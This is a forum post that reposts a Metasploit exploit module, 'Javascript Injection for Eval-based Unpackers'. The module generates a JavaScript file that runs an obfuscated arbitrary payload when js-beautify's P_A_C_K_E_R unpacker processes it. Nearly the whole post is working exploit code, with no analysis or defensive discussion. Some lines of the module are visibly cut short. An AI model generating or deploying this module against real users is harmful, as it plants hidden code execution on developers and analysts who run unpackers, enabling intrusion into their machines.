Jump to content
Sign in to follow this  

Javascript Injection For Eval-Based Unpackers

Recommended Posts

# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'
require 'msf/core/exploit/jsobfu'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::JSObfu

def initialize(info = {})
'Name' => 'Javascript Injection for Eval-based Unpackers',
'Description' => %q{
This module generates a Javascript file that executes arbitrary code
when an eval-based unpacker is run on it. Works against js-beautify's
P_A_C_K_E_R unpacker.
'Author' => [ 'joev' ],
'License' => MSF_LICENSE,
'References' =>
'Platform' => 'nodejs',
'Arch' => ARCH_NODEJS,
'Privileged' => false,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => 'Feb 18 2015',
'DefaultTarget' => 0))

OptString.new('FILENAME', [true, 'The file name.', 'msf.js']),
OptString.new('CUSTOM_JS', [false, 'Custom Javascript payload.'])
], self.class)

def exploit
p = js_obfuscate(datastore['CUSTOM_JS'] || payload.encoded);
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create("eval(function(p,a,c,k,e,r){}((function(){ #{p} })(),''.split('|'),0,{}))")



Share this post

Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

  • Create New...